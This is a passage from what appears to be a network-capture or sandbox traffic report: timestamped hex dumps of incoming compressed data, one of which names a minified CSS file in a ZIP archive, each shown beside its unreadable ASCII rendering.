2f 1a c1 97 64 86 9e 37 32 e7 44 bc 40 4e 84 19 53 48 8d 30 71 aa 11 3f 86 e9 38 c0 a1 58 0c 53 c2 97 57 fc 45 23 62 61 
4d 4d fc 6a f8 a9 2e a1 a2 98 1a 3c ee f3 47 8d 70 ef 36 33 77 72 5b 8b 41 53 32 35 fc ab 11 d0 78 45 67 f0 20 3a 13 df 02 
4b b9 79 7c 9e b0 09 9d 99 1a fc 1e d0 99 46 f0 de 7f 00 85 2f b7 f1 57 23 1c f5 4c 8d ff 60 3c a9 2a 36 21 27 2b bc 39 a8 
ad ed 9c 9c f4 f0 08 80 e2 5a a3 03 23 3e a2 
Data Ascii: XrE-xsM4@9 2cs UCX`S0=#C?--Uw0(ez%|/d72D@NSH0q?8XSWE#baMMj.<Gp63wr[AS25xEg :Ky|F/W#L`<*6
!'+9Z#>

2022-01-13 21:05:25 UTC 1296 IN Data Raw: de 3a 55 f6 af e2 3e f9 3e dc 6c 3b 38 bc 2a 9e 2f de 8e cb fa 6a 9c 19 e5 72 d8 40 d7 e1 74 3f 6f 2b 68 0e 62 
74 b1 a7 b7 e1 b5 6f dc ae ad 16 ae 07 8c ab d0 93 89 3e bd 3f 33 18 d8 f9 10 17 82 2a 59 5b 61 18 ed 4f 60 ee 4c fb 29 
bf 42 d8 0d 8f e5 ec 99 ea 74 9a 26 ed 36 42 1b 95 b6 34 9f c1 24 5c f9 59 69 99 1e 3a 2e 04 cf 7f 71 ce 97 54 f9 32 dc ff 
22 9f 8f 68 1d ea 21 b9 f6 4e e8 b2 4d 27 e3 23 e3 ff d8 0a 37 94 fd a9 b5 86 5e dd 07 27 ab 8d 12 9c b9 81 92 7e a4 38 
b2 c3 c3 41 dc e3 d0 47 bc db 7a 8d 6c a5 b6 4d d0 ae dc bb b1 97 6d 82 94 56 c8 ff 6e 16 b6 fa aa 3e 41 9f 84 55 15 1c 
cd 4a 88 9e 06 a3 70 fb ab 17 77 a3 b9 82 a6 a1 25 4c 07 1f a6 b8 d9 d9 7f 5f 56 dc a0 b0 da 51 d9 4c 98 bf 6d 95 d3 99 
3c c7 21 dc f1 da c4 cd 35 b7 8a 3a 1a ae b9 40 93 
Data Ascii: :U>>l;8*/jr@t?o+hbto>?3*Y[aO`L)Bt&6B4$\Yi:.qT2"h!NM'#7^'~8AGzlMmVn>AUJpw%L_VQLm<!5:@

2022-01-13 21:05:25 UTC 1297 IN Data Raw: a4 8f fd 14 0b 18 35 d0 11 27 03 1a 90 ed ac 8b 68 ac a9 08 21 8c fc f5 17 b6 6e da bf 6e 6e 0a 13 8f 2b 11 b8 
9b 9b dc ec 0a a3 67 67 97 9f 4f bd 76 00 c3 1a 7c 80 bb dc 29 49 61 96 f9 66 0d 8f cd 69 28 4c 0e 85 8c fa 24 d2 2b cc e1
50 07 d4 bf 45 c5 6c bb 7b a8 d9 f9 68 78 76 3e 29 22 8a df 3e 1d e3 7e 10 1a 32 93 9f 51 36 b7 3a 63 fc ce 23 bf 68 9d 14
ea 5a ce 3b 2b f6 5b a9 43 6e b2 25 7f 53 c1 af cd dc c0 51 6e 8e 9c 17 a8 6f 3a 9c cf b9 cb 61 c4 24 c7 73 8e bf 87 04 02 
c8 96 00 ab 57 f1 a8 ba dc 09 95 d6 a2 60 b3 49 ca 21 d7 48 98 85 9a 99 90 38 5c 71 18 41 67 4c 40 46 12 fd 5f ac c5 34 
08 2c 91 d6 d8 4d 37 1b 82 95 dc c0 48 bf 82 73 96 02 7e fc f2 9f 2a 44 02 41 5d b6 94 c2 c3 44 17 0c 00 88 21 f2 6d 5f 6f 
98 42 c1 a2 95 40 e6 19 8f 5b 9c 74 79 86 
Data Ascii: 5'h!nnn+ggOv|)Iafi(L$+PEl{hxv>)">~2Q6:c#hZ;+[Cn%SQno:a$sW`I!H8\qAgL@F_4,M7Hs~*DA]D!m_oB@[ty

2022-01-13 21:05:25 UTC 1299 IN Data Raw: 23 32 ba 05 a1 61 6e e4 92 37 4e f8 3e f9 e2 17 11 ce ae 0d 6b 49 7c 15 7e ab cb e7 73 a6 60 95 f2 05 45 d7 
ed 9f 9c f4 46 b8 c3 f9 1c f2 f3 92 19 e6 d1 af dc e5 c2 af 52 82 75 44 c8 2b d6 5c 34 c9 0f cd 9f de bd ff b3 92 dc 5a 37 c9 
cf 50 f9 fa ab 10 f7 25 2e fd cf 3b 5f 48 d0 97 78 e3 6f 0a e4 9f 42 c4 14 fe c3 5b 80 e7 9d 3d 92 e2 3a 6e 55 10 19 94 c3 
10 56 56 df a2 dc b7 2d e3 44 04 df b6 8c ef b7 65 5c be 11 59 af b0 77 51 d6 fb 5c 60 ec 9d b5 fb a7 d3 93 7e ef 74 df 25 
e2 24 1d 63 2b ca c5 4e 5f 6f bd ba d8 b3 ed 5f 45 89 32 15 af 7f cb 21 b2 e7 62 6c 5e 47 ee ab 1f f5 ba 91 d3 0b 3b 9b a2 
62 84 9a 29 cb 76 11 8e fb 6a c5 7e 8d c0 29 b9 4b e6 5e e3 2d d0 88 9d e4 cf 22 47 d4 18 ea 2e 4f 65 f1 b0 19 5f da 2c 
01 43 e8 ba 6b d2 11 dc bd 7e f5 3a df 92 
Data Ascii: #2an7N>kI|~s`EFRuD+\4Z7P%.;_HxoB[=:nUVV-De\YwQ\`~t%$c+N_o_E2!bl^G;b)vj~)K^-"G.Oe_,Ck~:

2022-01-13 21:05:25 UTC 1300 IN Data Raw: a4 89 a3 29 48 9e 64 ba 64 cc 89 80 10 b0 61 b7 26 b4 12 b7 e9 c0 df 67 7f 67 c7 a0 c8 d7 1a 64 43 f2 e6 2a 
b2 d1 36 f8 82 58 3c 28 14 04 a1 6e c8 db 05 1c 5f dd d9 f9 3c ec f7 d8 5f 89 41 59 e3 17 46 88 29 a7 6b 79 55 a8 f3 86 8c 
28 3e c9 a6 34 21 b6 e1 9b 02 1d 76 e6 e9 9f 3d c7 96 4d 61 65 2c 97 bc 2a bf 5a f6 93 32 b1 f4 6b 4f af 6d 17 56 c2 4a 95 
6f 29 7f ef eb ba 74 d1 ef 5f 74 db 0f e7 ed 76 eb ac d1 fc f2 30 1c 35 06 a3 87 c6 e0 e2 e6 aa dd 1b 0d 65 b5 ae 01 47 3c 
e2 3e 11 f7 c6 b5 96 4b 6e 7f 7f b1 58 48 86 e3 18 13 22 69 ce 74 df 77 9c 89 b7 3f 26 44 57 15 ed 91 c3 b9 18 f2 1b 98 05
43 52 66 b3 c9 0b af 8b 30 83 2d 32 f1 c8 2b ac dc 1e b7 3f 71 14 5d fa e9 9d 72 f5 b1 e3 f2 38 e7 69 ce b2 73 8a a0 ca ca 
ed f4 5e b4 e7 b0 fa b2 ba 5c f6 14 98 3c 
Data Ascii: )Hdda&ggdC*6X<(n_<_AYF)kyU(>4!v=Mae,*Z2kOmVJo)t_tv05eG<>KnXH"itw?&DWCRf0-2+?q]r8is^\<

2022-01-13 21:05:25 UTC 1301 IN Data Raw: 60 bc 51 fc 0a 24 46 8d ad c6 a8 3d ea 5c 45 53 6b 75 06 71 31 2d b4 ed 5e 73 f4 e3 3a 82 3c 87 35 8f ca 83 
46 8c e2 b2 dd b9 b8 8c 86 bb 1c b4 cf bb 8d 78 b2 97 38 f9 08 b6 33 bc 6a 44 12 9d 92 dc 64 9f ab c6 f7 44 b1 db ee 5d 
8c 2e a3 8a f6 e8 b2 1f d1 48 a5 f7 3a 10 5b 5c f5 5e 1f 09 08 9b 7b fd e1 65 a3 d5 8e 5f bf 0d e2 e1 fb d7 b1 26 65 25 37 
2b b4 83 98 d0 41 fb 6b 54 ec c7 0a 03 02 9a 5c 10 7c 8d ca 37 dd 76 f4 32 6c f6 63 9e 66 05 18 a8 4d 34 76 fe 8a cb 09 
d4 34 72 88 5e 6e ae ae 1a 83 88 6e d0 e1 94 9a 8c 3a a3 98 c4 e4 6a 7e 4d c9 3f bc dd c4 4d a9 15 fb d6 69 31 e6 af c4 
0f cc 98 de 0c db 89 45 04 49 4b 28 70 b3 13 6b 4d 72 21 ba fd de 05 ea 7b 44 f6 20 28 82 3d fa 92 82 3c 8f 65 fc 12 16 
a5 3d 88 38 d7 8b 64 ae 01 f3 1c 5c b4 47 d1 aa 37 bb 
Data Ascii: `Q$F=\ESkuq1-^s:<5Fx83jDdD].H:[\^{e_&e%7+AkT\|7v2lcfM4v4r^nn:j~M?Mi1EIK(pkMr!{D (=<e=8d\G7

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:25 UTC 1302 IN Data Raw: f3 44 92 20 bf 36 0c 11 bc 78 67 2f 23 c5 c0 8c 2c c0 b9 59 38 30 bd 9a c9 a6 97 69 f0 ae 58 d3 90 4c 60 79 1c 
17 7a 7b 8c 3f 01 0f 6c 78 04 68 fd b5 86 11 70 17 1a e6 a9 86 99 e2 02 72 fa 22 88 4f ac e9 72 74 d5 4d cc dc 7f 99 90 
90 d7 6b d5 e2 22 ee 33 c4 aa 04 84 49 88 8f c9 5a 36 c1 e6 70 48 01 5a 44 9b 28 2e 3d 02 61 4c 09 e5 eb ab 32 99 23 c6
ad 97 f7 3a 78 71 07 4c b9 87 62 f6 3b e1 08 80 8a 28 42 b4 61 b3 a3 02 15 73 f6 ea ad 76 8f d6 64 1b b5 58 f0 4d d7 59 
e4 da ae 0b 02 cd 81 c6 ab 2a 41 a3 91 d3 89 0f dc 25 3a a0 8f 54 39 1a a7 f1 4f e3 88 cc 60 a1 73 5c 2c 7c 8a 4e 7d c2 
c2 15 70 3a b0 be 40 8c 04 9b dc 24 4d 48 a7 9d db 4c cb 0a ad 6a 0e 8d 7d 48 0c 58 27 d4 18 67 9c 43 5c ff 87 f9 d0 a1 
63 7a e3 d9 9d 25 77 1f 60 e9 c4 14 95 94 66 c5 4e 4f 
Data Ascii: D 6xg/#,Y80iXL`yz{?lxhpr"OrtMk"3IZ6pHZD(.=aL2#:xqLb;(BasvdXMY*A%:T9O`s\,|N}p:@$MHLj}HX'g
C\cz%w`fNO

2022-01-13 21:05:25 UTC 1304 IN Data Raw: e1 21 28 05 c9 4b 27 db 60 49 5c 53 d4 45 f0 dc 58 c8 72 1a 85 35 b5 0d 71 8c 78 9b e6 23 06 88 81 9d db d9 
19 81 2b 28 06 6f b8 28 30 98 2a 3a 06 08 c6 28 ab 44 4c 69 86 d4 94 50 70 91 ea 86 ba 41 37 a8 69 2f 9c c8 5a e4 53 92 
d8 54 7f c6 8c 24 11 ea 5f 22 4c 22 2e f9 0a 2d df 30 2d 8d 5d 85 66 b5 65 dc 92 84 1a c4 b7 2d 2c 88 7f a1 c1 e5 02 39 
06 8f 34 0e 25 a8 66 7f 35 65 6e 0e e3 8e 61 af d1 63 93 f5 0d d6 12 1c e7 9d 9d 7c 71 5b 0e 5e c0 35 09 0c 8b 10 bb bf 
b7 b6 82 09 b9 1c 5e 50 ba c7 83 64 53 2e 88 df cd 0d f7 81 60 cb 0c ae 04 85 25 43 e6 74 c5 57 f2 84 a9 ca 02 86 99 2a 
b3 3c c5 9d e7 f6 be 99 7b 7b ab fa 77 33 0e c9 d1 21 59 b7 56 b0 c4 53 aa 75 a9 d0 5a bc 65 63 dc 0b e1 6a 50 f3 d8 01 
a3 05 1d ec 50 4d 37 75 60 9b 82 08 e6 3c a0 18 a2 14 59 
Data Ascii: !(K'`I\SEXr5qx#+(o(0*:(DLiPpA7i/ZST$_"L".-0-]fe-,94%f5enac|q[^5^PdS.`%CtW*<{{w3!YVSuZecjPPM7u`<Y

2022-01-13 21:05:25 UTC 1305 IN Data Raw: 5a 19 8f 32 cb 53 0d a2 07 1a 66 69 c0 d0 f0 25 9d 46 d0 58 52 4b 8d 9a 81 83 8f 56 26 2f 81 89 7a 05 3c c9 9d
1d 9a 71 c7 9b 24 e8 57 fe b4 e8 13 5a 85 55 9d 58 09 57 ec a7 92 5c 83 70 40 10 4a d3 e2 19 37 99 4c 8c ad ac eb a8 
48 99 5c fe 25 78 56 c3 c8 b1 3a 9b 43 fc 0f 4f 15 9f bc 90 d3 14 3b e7 a0 90 ab 24 37 f7 88 9e c3 6f 05 24 88 a7 1f 2d 34 
3e a2 22 99 62 7c 71 48 9c 58 42 70 af c6 c2 f6 2e d5 b8 db f8 2e 51 74 91 28 ba 45 94 10 16 60 c2 23 23 1f 10 33 31 10 
f1 eb 89 95 a8 84 77 6a 28 d6 9f 11 d6 e8 ee 51 78 f1 28 79 eb e8 1f 31 6b 0c 73 80 0b 6f 27 25 af 26 45 f7 92 fe 11 cf 8d 
c2 4f 2d f6 7a 25 30 9c 49 ee 44 57 9a 10 d0 b6 c0 84 3d a8 13 c5 7e 84 11 1e 20 9e 1c 63 cc 9f 61 27 bb f4 84 f0 0e 28 
b8 d4 5c 03 e8 b4 68 eb 6c 43 eb 56 74 3b 0a 21 14 
Data Ascii: Z2Sfi%FXRKV&/z<q$WZUXW\p@J7LH\%xV:CO;$7o$-4>"b|qHXBp..Qt(E`##31wj(Qx(y1kso'%&EO-
z%0IDW=~ ca'(\hlCVt;!

2022-01-13 21:05:25 UTC 1306 IN Data Raw: 2f e3 c6 f1 24 ec 22 7b f4 da 9f e2 f9 9d b0 f2 64 1f b4 23 24 99 e3 c2 dd 75 8a d7 78 99 d0 50 8b b4 21 23 af 
d8 c6 7c a2 b8 4c 27 7d 4b 0e de f1 9b da f9 84 f0 1c fb b8 ea a1 78 6c 43 e8 09 91 67 f0 b1 95 3b b7 f1 a3 73 d8 4f 53 ef 
f4 fb 2b d0 d8 31 f1 fc f7 da 78 41 0a 84 f2 01 3f 17 c7 53 10 df 92 74 cb 65 f7 70 79 2e 20 23 f8 96 2b 71 17 22 74 2c e0 
c1 3e b5 af 71 e0 ad 06 47 7e 98 15 c1 35 77 9d c9 84 b8 b5 5b ee 83 a7 39 a9 cb 19 91 1f 81 7e 49 10 e1 59 2c 6e 5b 10 
66 5d 14 a4 e3 9c 9d d3 c4 0e 08 fa 7d 00 82 df 8a 23 e4 5b df 9c fd fb df aa a5 5b 0f 80 01 c3 7e 6e e2 bb d4 5b f8 6c d1 
8e 30 14 ae bd 6b f0 9c eb 4f a8 f7 b0 00 b9 0d f6 7c 6c c7 30 4f 06 f7 11 74 10 62 51 4d e6 35 7a 46 18 f8 9b 1f b4 d8 d1 
34 d1 c4 9e 84 57 b1 eb 66 e8 63 4e 65 0d 
Data Ascii: /$"{d#$uxP!#|L'}KxlCg;sOS+1xA?Stepy. #+q"t,>qG~5w[9~IY,n[f]}#[[~n[l0kO|l0OtbQM5zF4WfcNe

2022-01-13 21:05:25 UTC 1308 IN Data Raw: 85 e2 92 08 f1 0d ba 8d b9 af d7 bd 7d 98 db f3 cb 3e e8 1a 59 28 93 c9 7e af 31 cc 85 d0 89 19 ac a3 8a 46 b1 
59 7d 4a 7d 83 51 82 2e b9 44 5b 02 e7 7a c7 ff 2f 53 d5 ac 6c 27 70 d6 15 99 1b 05 79 01 65 0f 50 dd d9 dc 9e 9a dc f5 
5b 10 b4 3a 06 dd 0c fe 8c 36 03 e7 f1 6c ee fb 60 6b bf 1b 59 df 61 08 a3 46 66 79 2a 79 a6 b3 e0 5f a9 29 f7 6a af 7f 7d 
a9 6d 00 17 1b dd da c6 11 c5 e9 bc 96 19 71 25 d2 78 2f a8 16 67 b0 0b e0 6f 72 0d 69 25 c4 86 b8 a9 8e 9c 66 1c 21 e2 
05 88 30 a5 5a db 3d 99 ea 79 9d e2 cf 59 ba cc 85 54 e4 03 83 ca be d0 f9 14 43 e5 83 fc c2 27 4c f4 d2 2e 48 61 3e ea 
87 37 64 d1 6f 4f d3 8d 3e 3c 66 83 13 78 14 6a 8b 3c 5a a5 d2 99 e4 34 88 ef 3d 99 83 0a 57 b1 f0 f0 0c 4a 33 d7 9a 2a 
20 fd b6 01 1d 3d 05 c4 16 86 dc 4e 32 8b cb 41 9b 
Data Ascii: }>Y(~1FY}J}Q.D[z/Sl'pyeP[:6l`kYaFfy*y_)j}mq%x/gori%f!0Z=yYTC'L.Ha>7doO><fxj<Z4=WJ3* =N2A

2022-01-13 21:05:25 UTC 1309 IN Data Raw: b6 01 fd f7 bd e9 ad 0d ee f4 aa 9e d2 d8 f3 8c 03 9b 4d 8f e3 57 2f 04 2d 18 8d 8d 39 ae a6 ae ef 67 cb 25 1f 
03 c3 9e 3c 8f 2e fc d1 33 fb cc d5 61 cc 4f 7e 98 41 f4 0a 5e 0c 7d 61 1f d4 67 09 fb 99 bd 14 26 25 02 8f a4 99 c9 66 a2 
02 40 c6 d3 24 a0 2a 99 16 de f3 58 65 47 92 3e 58 36 26 13 e4 f8 60 8f fb 30 0d dc 02 8e fd 2a d7 22 eb e9 d3 19 83 d0 
07 67 0b e8 f0 85 a7 0f f4 e7 a6 0b c8 2f b5 86 37 d7 78 fa 8d aa c0 81 b5 cc 1e 83 86 1a d3 98 cd 60 d0 f8 50 34 07 3a 
42 8f 6e d1 e3 65 bf a1 ec 49 81 60 6d 6a 8a 74 60 53 63 10 7b 6e 6a b2 ec d9 dc df d8 82 3f 73 e4 30 51 4c e6 a4 05 29 
96 29 08 53 02 f2 9b be 3b c1 0f 06 37 b0 4f 7c b2 ee 05 fc 75 66 1b 8c a6 32 26 f4 ab 19 f4 e6 87 1a b9 24 93 19 38 76 
96 77 01 ef 78 e9 33 f3 c9 7b 7c a5 8f fe d4 8a a9 
Data Ascii: MW/-9g%<.3aO~A^}ag&%f@$*XeG>X6&`0*"g/7x`P4:BneI`mjt`Sc{nj?s0QL))S;7O|uf2&$8vwx3{|

2022-01-13 21:05:25 UTC 1310 IN Data Raw: ed 9d 4c 97 8f eb e5 a2 78 b8 5f 17 8b 62 dd 8f 11 4a a4 a2 15 44 25 23 cd b5 ca 81 37 9d e3 93 b7 9e 5a 4f 
eb 59 d3 20 3f ed ef d7 9b ef ff 03 50 4b 07 08 f9 a0 26 fe 63 03 00 00 92 08 00 00 50 4b 03 04 14 00 08 08 08 00 29 8c 04
51 00 00 00 00 00 00 00 00 00 00 00 00 14 00 00 00 6d 61 74 65 72 69 61 6c 5f 63 73 73 5f 6d 69 6e 2e 63 73 73 ec bd 69 
93 63 b7 91 36 fa fd fe 0a be 9a 50 44 97 4c d2 dc 8b ac 0a 77 58 8b 2d b5 5e 49 b6 16 4b 56 eb 76 4c b0 c8 53 55 54 73 
1b 1e 56 77 55 33 fa fe f6 8b fd 24 80 4c 2c e4 a1 3c 76 48 13 e3 2e 22 13 89 44 22 81 83 2d 1f fc f1 a3 ff f3 ff 34 3e 6a 7c 
bc be 7b 58 4e 77 5f 7e df f8 7a ba 2f 76 8b e9 b2 f1 59 51 2e ee d6 9c 78 bf df 6f cb ab 3f fe f1 6e b1 bf 7f b8 69 cf 36 ab 
3f 4e 25 ff 1f 57 8a 9b b3 fd 79 b9 98 15 
Data Ascii: Lx_bJD%#7ZOY ?PK&cPK)Qmaterial_css_min.cssic6PDLwX-^IKVvLSUTsVwU3$L,<vH."D"-4>j|{XNw_~z/
vYQ.xo?ni6?N%Wy

2022-01-13 21:05:25 UTC 1311 IN Data Raw: 7c 4f 46 6c 9d 72 71 c0 da aa 3b 62 cd 22 56 44 6c 2a bd fb d3 72 bf 7b d5 34 bf 76 fb a5 9c b2 57 34 f3 8b d3 
0e 0f eb c5 6c 33 2f 5a 37 8b f9 e2 aa 58 dd 14 f3 f7 37 f3 4d 45 67 7f b0 59 a3 58 7c ed 97 86 24 0b 81 7c 96 1c fe 3f c2 
04 bb c5 bc b0 32 01 79 ec e7 fb 6a bd 67 46 93 e9 96 4d 5e ef ee 97 bc 89 54 b3 01 9b c3 49 c1 e6 41 cc b8 97 4b b6 be 
93 33 23 6e 2f 38 c7 31 ac 62 ae bc 78 c7 c6 91 f9 af 0f a5 a6 ae 4a 8a a2 9b 85 2f fb ca d5 66 b3 bf 17 2d b8 de b3 25 ec 
82 ad c3 e6 2c f3 e6 5d 6b 53 3e ba 3c 77 bb e9 93 18 ca 44 53 2b 0f 6d 0d e4 0a 92 17 74 d5 ed b2 09 e9 35 5c 51 f6 3b 
bc 07 ec f9 3c af e4 fd 92 89 69 b5 3b dd 62 75 cd d7 7b a6 46 3c 9f 25 b5 0f a4 0e 47 8e d0 01 2a b4 33 74 a4 f2 7c 96 d0 
1e 10 3a 18 62 42 41 ee d1 c0 c9 dd 05 b9 fb 
Data Ascii: |OFlrq;b"VDl*r{4vW4l3/Z7X7MEgYX|$|?2yjgFM^TIAK3#n/81bxJ/f-%,]kS><wDS+mt5\Q;<i;bu{F<%G*3t|:bBA

2022-01-13 21:05:25 UTC 1313 IN Data Raw: 81 4e dc 91 6b 15 d6 a5 8a e1 85 39 45 61 1f 7e 78 e1 e0 f4 3a 35 da e6 60 a0 86 ea 01 69 d6 26 ee 65 a7 13 
52 f5 80 cf 95 ec b5 b7 b9 99 e6 5e cc 30 c7 42 4f e2 63 0e 6e ae 45 ac c3 a6 3f ad 5b 3e 2f 88 d6 dc 70 ea bd 85 81 3e 
b6 a3 6c 52 5d a4 13 e5 8a 1b 6f ce 8d b5 60 fe 90 6f bb 33 4d f2 76 11 32 31 1c 83 89 e1 d8 5e 33 55 f3 24 38 db ae ec 
fe f6 7e c1 d5 60 5f 63 5e 13 3e c9 96 33 39 53 7c b1 5c 2e b6 e5 a2 3c ba 62 e8 d5 c2 63 65 e9 c9 ad 69 3b bd b7 7d e1 
5c d4 cb 1b af 42 fa b8 7b 06 c4 30 c6 c7 31 b3 cd 89 ad 75 06 c3 92 dc 6d 77 8f 77 f5 ae 0d 38 e6 05 e2 cd 5e 88 29 cf de
b7 fe 3f 8b d5 76 b3 63 5d 64 6f 04 4c 26 ae 00 79 84 50 89 d0 9c 63 b8 81 dc 9a 3f c8 3b 77 57 9e 02 cc b8 cb cd 9d 9f ff 
d2 2b 49 5d 18 2b ef 8b 02 29 6f e4 6b b6 60 fe 3e 
Data Ascii: Nk9Ea~x:5`i&eR^0BOcnE?[>/p>lR]o`o3Mv21^3U$8~`_c^>39S|\.<bcei;}\B{01umww8^)?vc]doL&yPc?;w
W+I]+)ok`>
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2022-01-13 21:05:25 UTC 1314 IN Data Raw: 39 84 eb 83 ff a6 3b ed 54 46 31 57 1a ac 4d 36 19 af b1 61 b3 db 16 1b 20 c4 ba bc e1 65 35 1e dc 4c e6 56 
dd 29 6b cb 34 b6 e7 36 e8 85 37 6a 15 3d af 4a a8 0b 01 ff 3d 5a 90 9c 5e 64 5a ac 16 6d 50 49 6a b6 13 b5 71 37 62 e3 
2e 6a 63 39 8a 21 fa 80 b1 db ad 40 2c cf 39 5c a8 15 f3 a1 16 e1 44 29 15 cc 68 bc 63 c4 e1 0e 95 64 c5 1a 35 3b c5 b9 
5a 83 7e cc fa fd ca fa b2 f8 16 1f 38 91 fb e1 57 5d 37 8a 03 f2 83 85 86 da 24 72 ce 16 dc 61 57 4f 37 d5 00 6e 0e 95 54 
8c 69 d7 9b d5 76 a8 8d 06 ef 40 1b db 3e 0f e8 7b 75 bb d8 f1 bb 06 f7 8b a5 bb 72 e8 09 7d c4 a7 31 28 61 39 f5 04 88 
d8 4d ef a8 4c d7 45 7c 6c 85 f4 fc e3 6c cb 4b 9c a9 84 fc c4 06 0e b2 67 d3 dd 3c 72 7f 23 b0 25 55 05 41 db 33 7f 5e 50 
df 9f 3a 5c 34 4d 63 3a a4 ee 80 d3 7a 8a d6 72 a3 
Data Ascii: 9;TF1WM6a e5LV)k467j=J=Z^dZmPIjq7b.jc9!@,9\D)hcd5;Z~8W]7$raWO7nTiv@>{ur}1(a9MLE|llKg<r#%
UA3^P:\4Mc:zr

2022-01-13 21:05:25 UTC 1315 IN Data Raw: 07 fd 8e 3f ad a0 3f 27 b2 ea 81 d9 45 5f df fa 13 a3 db 4c ec 83 6f 65 d8 bb fc 4b fd 51 5d 3e 6e f4 e4 8d 3b 58 
6c 9e 00 71 3d 61 98 56 ae 25 5a 9d dc 0a e8 41 f1 50 4f 9e 0a b4 2c 61 8b 23 d5 11 e7 76 f0 ee b9 3d 46 76 47 47 54 74 
3d 5d 55 41 46 58 7c a4 28 08 36 eb d8 9a 93 1e 55 5e 78 45 3d 76 aa 01 c0 22 5c 4c 6a 9f 05 da 08 b9 fd 0d 67 dc 3a d8 
86 10 14 d4 ba ba 62 de ed 75 48 83 a4 4a cb b1 81 25 a9 58 4d 17 f2 69 83 94 22 d1 66 f6 ee 93 d3 30 18 56 3b 5b d8 
15 cb 05 84 b8 7d 6f 5c c0 39 58 cb 8a 00 76 f0 b6 61 a7 1e cb 1b 35 f8 58 59 95 ee 23 9b d9 5f 07 01 1b c4 86 e8 fd bd 
db 7e 42 f7 aa c4 be be 80 5b c9 16 b3 b5 62 3a e7 27 b4 26 8f 87 9f e9 44 8f 00 d5 f4 e2 46 cb 30 40 1e dc fe 6e 31 ab cd 
1b ae b0 3b c0 e9 c0 dd 9e ef 80 a9 79 1d 84 d4 9e 
Data Ascii: ??'E_LoeKQ]>n;Xlq=aV%ZAPO,a#v=FvGGTt=]UAFX|(6U^xE=v"\Ljg:buHJ%XMi"f0V;[}o\9Xva5XY#_~B[b:
'&DF0@n1;y

2022-01-13 21:05:25 UTC 1316 IN Data Raw: c9 f2 51 d6 85 1b 36 31 c8 f0 94 fa 8a f5 4f f2 e5 0b d8 48 01 7b 8e bc 78 b7 2c ac 40 fb 16 68 5d 4b 4c ab 3b 
0e 56 28 26 d1 fd 46 7b 05 78 77 e9 65 89 91 01 c0 df 44 c9 fe 20 87 96 17 d5 75 f2 2a 1e e0 0f 11 95 02 71 27 27 48 22 
02 3f c2 12 1c 6a 05 2c e6 9b 08 13 56 ea 57 3f 85 e2 70 27 05 bc 6f e1 64 32 6e cb 1f fc 0d 3f 3d d9 12 87 be f0 35 1e 17 
6e 06 bd 18 87 7f f0 f2 5e e5 f2 b8 5b 1b 66 54 11 c8 d8 b9 a6 13 c9 c7 a8 7a 89 8f 1f 5c 9d 33 0f f6 7e 55 30 43 b0 ed 38 
8d ff 2b 70 90 32 df fb 42 bd 52 38 8e bf 26 ea c7 5e 67 56 73 4d a2 dd d5 e2 b5 55 bc 61 bf 4a 39 27 72 6f b2 20 55 3c a0 
ef fc 99 17 3f 3c b3 0d e5 e3 51 f0 35 6b 61 18 f7 ab ee c9 ef 52 1a 34 ac 65 00 7e da 01 b2 15 8f ac cc b9 19 62 4f 7c 89 
2f e3 42 ab 3e 81 57 2d 67 5f 46 1d a2 f0 
Data Ascii: Q61OH{x,@h]KL;V(&F{xweD u*q''H"?j,VW?p'od2n?=5n^[fTz\3~U0C8+p2BR8&^gVsMUaJ9'ro U<?<Q5kaR
4e~bO|/B>W-g_F

2022-01-13 21:05:25 UTC 1318 IN Data Raw: f5 75 ec 5e d3 9b 92 49 43 1a a1 db 4a 3f f3 e0 99 da 14 dd 0b 14 dd 2b 1b c5 b4 2c 18 2b e2 3c d8 07 13 85 
91 49 ce 07 e3 9c 89 7c 62 bb 54 19 9a ff 1b fa e4 26 cb a0 9e c3 b1 96 b5 ed 11 1b ea e3 15 3b 4e b8 77 39 47 96 56 53 
19 f2 36 48 7b 7c 96 0a 10 bb 00 aa b8 63 0a f1 41 f4 ab 9d a4 d3 d4 a7 24 7b e6 f7 07 1c 72 32 84 a1 5b 27 e7 73 41 f9 
d0 8c 29 3e 8f 8c 03 fa eb 18 02 ed ab 06 39 f4 a2 87 19 24 fa b4 7c 44 3d 10 3f e1 c0 f1 f4 d1 81 dc fd 6c e0 53 96 df 7e 
b2 31 74 67 1a 70 1d 6a 37 e7 73 f5 15 71 23 53 33 f3 9b 01 db 54 3b 20 21 38 61 24 cd 85 df 28 5a a9 a7 d2 f9 eb e9 b1 
cf b4 c5 dc 84 3f 1a fa c7 7e b1 2c 68 8a 42 b7 0d 30 c8 63 0f 9a e1 f9 ed e2 ee 81 82 a9 7c 4f 66 8b 7d 90 e9 9c 0d 55 60 
6c 8f 8d 38 dd 85 1b be d4 b1 ae 87 74 69 c7 81 98 
Data Ascii: u^ICJ?+,+<I|bT&;Nw9GVS6H{|cA${r2['sA)>9$|D=?lS~1tgpj7sq#S3T; !8a$(Z?~,hB0c|Of}U`l8ti

2022-01-13 21:05:25 UTC 1319 IN Data Raw: 96 21 a7 e0 44 ee 50 bc ac 98 e8 8f e0 52 bc 7d 39 a4 97 04 04 a7 ec c0 e2 db 55 fb 12 fa 98 75 7a 8a 26 67 
13 9c 5d c5 c4 05 96 04 b6 74 96 55 c9 4b 44 91 12 f4 23 b9 97 19 e6 06 df 6e d6 27 55 27 e3 7f b2 d1 68 ff 64 46 11 73 
fe ed 4d a0 14 d8 8f 86 3d 08 95 10 2c 1e 3c 84 07 4e e4 cc b7 54 2a d0 68 f1 13 3d b1 83 02 e7 7b f2 fb 34 d0 73 3c ef 
40 4f e1 fd 92 bd 9e 43 4b 88 9e 05 1b a3 1a 33 8e 6c 6d 23 f5 b9 42 30 45 f6 f2 d0 db 0e 61 61 ea d7 e1 d8 13 24 42 5c 
da 79 92 c9 2c de 71 ad 20 da c2 bb a8 48 ae 9c dd aa 90 44 a1 6c be 22 20 5b d6 be 99 0f f9 c6 91 47 d8 3f fc 24 34 e8 
09 e2 3a af bd 2f 3b f2 37 66 d3 5a ce 97 e5 6d e1 e1 e7 1c 48 43 1c 2a 5d 72 1d c8 15 02 bc 27 56 be bc 38 1d af 42 92 
1e 88 30 d4 b6 51 7f 50 bf b0 b7 9b cd 71 48 0f 5e 45 cf 
Data Ascii: !DPR}9Uuz&g]tUKD#n'U'hdFsM=,<NT*h={4s<@OCK3lm#B0Eaa$B\y,q HDl" [G?$4:/;7fZmHC*]r'V8B0QPqH^E

